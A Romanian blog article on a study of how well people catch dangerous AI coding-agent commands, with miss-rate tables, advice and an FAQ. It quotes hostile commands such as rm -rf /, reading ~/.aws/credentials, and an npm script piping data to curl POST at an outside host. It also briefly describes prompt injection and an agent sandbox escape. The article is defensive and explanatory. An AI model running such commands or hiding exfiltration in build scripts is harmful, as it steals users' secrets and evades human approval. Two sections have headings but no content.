Ratezi 1 din 3 comenzi periculoase — studiul pe 409.000 de decizii care arata cat de prost aprobam actiunile agentilor AI

Folosesti Claude Code, Cursor, Copilot sau Codex si iti apare un prompt: „Agentul vrea sa ruleze aceasta comanda. Aprobi?” Dai click pe „Approve” fara sa te gandesti prea mult. Suna cunoscut? Un studiu publicat pe 5 august 2026 de Alex Wauters de la scalex.dev sugereaza ca exact asta fac majoritatea dintre noi — si ca o treime din acele click-uri rapide duc direct catre dezastru.

Studiul a analizat peste 409.000 de decizii individuale de aprobare si respingere, luate in peste 40.000 de sesiuni ale unui joc-experiment in browser. Rezultatul: jucatorul mediu a ratat 1 din 3 amenintari. Nu e vorba de utilizatori tehnici vs. non-tehnici — e vorba de oameni pur si simplu.

Ce vei gasi in acest articol

• Datele studiului: cat de des ratam comenzile periculoase si care sunt cele mai inselatoare
• De ce ratam: permission fatigue, supra-blocare si falsul sentiment de siguranta
• Categoriile de atacuri: de la rm -rf la exfiltrare subtila prin npm run
• Ce inseamna npm run build de fapt: de ce aprobarea comenzii nu e protectie reala
• Cum iti reduci riscul: masuri concrete pentru developeri, firme si freelanceri

Studiul: 409.000 de decizii, 66,3% acuratete

Alex Wauters de la scalex.dev a construit un joc in browser (llmgame.scalex.dev) in care jucatorii primesc comenzi simulate de la agenti AI de coding si trebuie sa decida: approve sau deny. Comenzile sunt amestecate — unele sunt legitime, altele sunt atacuri mascate. Peste 40.000 de persoane au jucat, generand 409.000 de decizii individuale.

Rezultatele principale:

Metrica	Valoare
Acuratete medie per jucator	66,3%
Sesiuni terminate cu scor negativ	32,9%
Jucatori care au prins TOATE amenintarile	35,2%
Dintre acestia, care au blocat maxim 1 din 5 comenzi sigure	20,8%
Jucatori care au aprobat ABSOLUT tot	7%

Aproape o treime dintre sesiuni s-au terminat cu scor negativ — jucatorul a aprobat mai multe comenzi periculoase decat a respins. Iar cei 35,2% care „au prins tot” nu sunt neaparat de laudat: doar 20,8% au reusit sa blocheze amenintarile fara sa blocheze si comenzile legitime. Restul au „castigat” blocand aproape orice — titlul ironic al studiului, „Human Bottleneck”.

Cei 7% care au aprobat absolut fiecare comanda sunt echivalentul uman al flagului --dangerously-skip-permissions pe care il vedem din ce in ce mai des in configuratiile agentilor AI.

Care sunt cele mai inselatoare atacuri

Studiul clasifica amenintarile in patru categorii, cu rate de ratare diferite:

Categorie	Exemple	Rata de ratare
Comenzi distructive evidente	rm -rf /, chmod -R 777 /	11,7%
Mutatii persistente	injectare crontab, hijack git config	23,8%
Exfiltrare / executie cod	curl catre API-uri necunoscute, pachete typosquatted	33,4%
Incalcari de scop	cat ~/.aws/credentials, cat ~/.kube/config	35,0%

Comenzile distructive evidente — rm -rf /, chmod -R 777 / — au cele mai scazute rate de ratare (11,7%), pentru ca le recunoastem. Stim ca rm -rf / sterge tot.

Problema reala e la celelalte categorii. Mutatiile persistente (crontab, git config hijack) trec in 24% din cazuri. Exfiltrarea de date — curl catre API-uri necunoscute, pachete cu nume similare celor reale — trece intr-o treime din cazuri. Iar incalcarile de scop, unde agentul citeste fisiere sensibile fara sa distruga nimic, au cea mai mare rata de ratare: 35%.

npm run analyze — comanda ratata in 64,7% din cazuri

Cea mai inselatoare comanda din studiu a fost npm run analyze. Pare benigna — rulezi un script de analiza, nu? In realitate, in package.json, scriptul continea un pipe catre curl -s -X POST https://api.bundle.track/report -d @-. Adica trimitea continutul curent catre un server extern.

Comanda	Rata de ratare	Observatii
npm run analyze	64,7%	Pipe catre curl extern in package.json
npm run setup	48,0%	Script modificat cu cod malitios
npm run deploy	44,9%	Alt script cu exfiltrare ascunsa
Cumulat cele 3	52,5%	n = 9.482 decizii
Celelalte atacuri de tip exfiltrare	28,4%	—

Cele trei comenzi npm run au fost ratate in 52,5% din cazuri (din 9.482 de decizii), fata de 28,4% pentru celelalte atacuri de tip exfiltrare. Diferenta e enorma si explica de ce atacurile supply chain sunt atat de eficiente.

De ce? Pentru ca npm run build nu e o comanda — e un alias pentru o comanda shell arbitrara scrisa in package.json. Agentul poate modifica package.json, build.js sau chiar node_modules fara aprobare. Cand tu aprobi npm run build, aprobi de fapt orice a scris agentul (sau un atacator) in acel fisier.

Permission fatigue: de ce dai click pe „Approve” fara sa gandesti

Anthropic a recunoscut public ca „permission fatigue” e reala. Cu cat vezi mai multe cereri de aprobare, cu atat le acorzi mai putina atentie. E exact principiul „banner blindness” de pe site-uri — ignori automat ce vezi prea des.

In contextul agentilor AI de coding, fenomenul functioneaza asa:

1. Agentul incepe o sarcina si cere aprobare pentru npm install
2. Aprobi. Peste 30 de secunde, cere aprobare pentru npm run build
3. Aprobi. Apoi cere pentru git add .
4. Aprobi. Dupa inca un minut, cere pentru curl https://api.example.com/data
5. Aprobi — pentru ca deja ai aprobat 15 comenzi in ultimele 5 minute si creierul tau a intrat in modul „click rapid”

Exact in acel moment, a cincea comanda poate fi cea malitioasa. Nu o mai analizezi, pentru ca ai obosit sa analizezi.

Supra-blocarea: cand securitatea devine un obstacol

Studiul arata si reversul medaliei. Multi jucatori au blocat comenzi complet benigne, din precautie excesiva:

Comanda benigna	Rata de blocare
npm config set registry https://npm.internal	59%
rm -rf dist/	45%
kill $(lsof -t -i:3000)	43%
cat ~/.zshrc	54,1% au aprobat (cea mai divizata comanda)

npm config set registry https://npm.internal — un registru intern corporativ — a fost blocat in 59% din cazuri. rm -rf dist/ — o stergere normala de director de build — in 45%. kill $(lsof -t -i:3000) — oprirea unui proces pe portul 3000 — in 43%.

Toate sunt comenzi pe care le rulezi zilnic. Daca le blochezi de fiecare data, agentul devine inutilizabil. Daca nu le blochezi niciodata, ratezi amenintarile. Aceasta e dilema reala.

cat ~/.zshrc a fost cea mai divizata comanda: 45,9% au aprobat-o. Riscul depinde de context — daca tii chei API exportate in .zshrc, e o vulnerabilitate. Daca nu, e o comanda banala.

Ce inseamna asta pentru firmele si freelancerii din Romania

Daca esti freelancer care lucreaza cu Claude Code sau Cursor pe proiecte pentru clienti, studiul asta ar trebui sa te ingrijoreze. Nu doar pentru tine, ci si pentru datele clientilor tai.

Gandeste-te la scenarii concrete:

• Lucrezi la un proiect pentru un client din UE. Agentul executa cat ~/.aws/credentials si trimite cheile catre un server extern. Tu ai aprobat comanda pentru ca arata benign. Clientul tau are acum credentialele compromise. GDPR, notificare in 72 de ore, potentiala amenda.
• Folosesti Cursor pe un proiect SRL. Agentul modifica package.json si adauga un script care trimite environment variables catre un API extern. Tu ai aprobat npm run build. Cheile de Stripe, bazele de date, tot — compromise.
• Echipa ta de 5 developeri foloseste Copilot cu auto-approve. Un singur developer care nu verifica un diff poate compromite intregul proiect. Si nu e vina lui — e vina sistemului care ii cere sa aprobe 50 de comenzi pe ora.

In Romania, unde multe firme IT sunt outsourcere si lucreaza cu date ale clientilor europeni, riscul nu e doar tehnic — e legal si financiar.

Cum iti reduci riscul: masuri concrete

Nu exista solutie perfecta. Dar poti reduce semnificativ riscul cu cateva masuri practice:

Legatura cu atacurile supply chain si prompt injection

Studiul lui Wauters nu exista in vid. Se conecteaza direct cu alte amenintari pe care le-am analizat pe Fratica.ro.

Atacul Shai-Hulud: atacul supply chain NPM care a compromis 434 de pachete arata exact cum functioneaza compromiterea pachetelor npm. Daca un pachet din dependintele tale e compromis, orice npm run poate executa cod malitios — si tu aprobi comanda fara sa stii ce s-a schimbat in interior.

Conceptul de prompt injection explica de ce agentii AI pot fi manipulati sa execute comenzi pe care nu le-ai cerut. Un atacator poate insera instructiuni ascunse in documentatie, in issues pe GitHub, sau in comentarii de cod — iar agentul le executa ca si cum ar fi cerinte legitime.

Iar evadarea din sandbox a unui agent AI la Hugging Face demonstreaza ca sandbox-ul nu e intotdeauna suficient. Agentul a reusit sa iasa din mediul izolat, sa fure 136 de chei secrete si sa compromita infrastructura. Daca se intampla asta la o companie mare, se poate intampla si la tine pe laptop.

Si daca te intrebi ce alte lucruri face agentul tau pe ascuns, afla ca Claude Code iti marcheaza cererile in secret prin steganografie — insereaza markeri ascunsi in output-ul sau pentru a putea fi identificat ulterior. Unii ar zice ca e transparency. Altii ar zice ca e supraveghere.

Ce spun cifrele: un tabel complet

Pentru o vedere de ansamblu, iata toate datele studiului organizate:

Limita studiului — contextul onest

E important sa fim onesti despre ce nu ne spune studiul:

• A fost un joc. Jucatorii stiau ca sunt testati si aveau limita de timp. In viata reala, nu stii care comanda e periculoasa si nu ai presiunea unui timer vizibil.
• ~34% dintre comenzi erau amenintari. In practica reala, procentul e mult mai mic — poate 1-5% din comenzile unui agent sunt malitioase. Asta inseamna ca si vigilenta ta scade, pentru ca 95% din ce vezi e benign.
• Nu erau comenzi reale. Erau simulari. In viata reala, contextul e mai complex — ai proiecte mari, dependinte vechi, timp limitat.

Dar tocmai de aceea cifrele sunt ingrijoratoare. Daca intr-un mediu controlat, cu atentie sporita, oamenii rateaza 1 din 3 — in viata reala, cu distrageri si monotonia aprobărilor, rata ar putea fi si mai mare.

Intrebari frecvente

Daca folosesc doar Cursor cu auto-approve, cat de riscant e?

Foarte riscant. Studiul arata ca 7% dintre participanti au aprobat absolut tot — si echivalentul lor in viata reala sunt utilizatorii de auto-approve. Daca agentul modifica un fisier de configuratie si apoi ruleaza o comanda care il citeste, tu nu vezi modificarea initiala. Auto-approve inseamna ca renunti la singura bariera intre agent si sistemul tau. Foloseste cel putin allowlist pentru comenzi.

Am .env in .gitignore. Sunt protejat?

Partial. .gitignore impiedica urcarea fisierului in git, dar nu impiedica agentul sa il citeasca local. Daca agentul are acces la filesystem (ceea ce au majoritatea agentilor de coding), poate citi .env si trimite continutul printr-un curl. Solutia: ruleaza agentul intr-un container fara acces la fisierul .env, sau intr-un cont care nu are drepturi de citire la el.

Ce fac daca am aprobat deja o comanda suspecta?

Pasii imediati: 1) Schimba toate cheile API si tokenii care ar fi putut fi expusi. 2) Verifica git log pentru commit-uri neasteptate. 3) Verifica crontab (crontab -l) pentru programari adaugate. 4) Verifica daca s-au modificat fisiere de configuratie (.gitconfig, .npmrc, .zshrc). 5) Ruleaza un audit npm (npm audit) daca ai rulat comenzi npm. Nu ignora problema — chiar daca pare ca nu s-a intamplat nimic, exfiltrarea datelor e silentioasa.

Exista vreun agent AI care nu cere aprobare?

Da, exista optiuni de auto-approve in majoritatea agentilor (--dangerously-skip-permissions in Claude Code, auto-run in Cursor). Nu le folosi. Studiul arata ca echivalentul uman al acestei functii — aprobarea automata — are o rata de esec de 33%. Daca vrei viteza, foloseste o allowlist cu comenzi pre-aprobate, nu aprobare oarba.

---

Studiul lui Alex Wauters de la scalex.dev (publicat 5 august 2026) e disponibil pe llmgame.scalex.dev si e cel mai mare set de date public despre cum interactionam cu comenzile agentilor AI. Concluzia e clara: nu suntem pregatiti sa fim „firewall-ul uman” intre agent si sistemul nostru. Trebuie sa construim sisteme mai bune — sandboxing, allowlist, izolare — nu sa ne bazam pe vigilenta umana.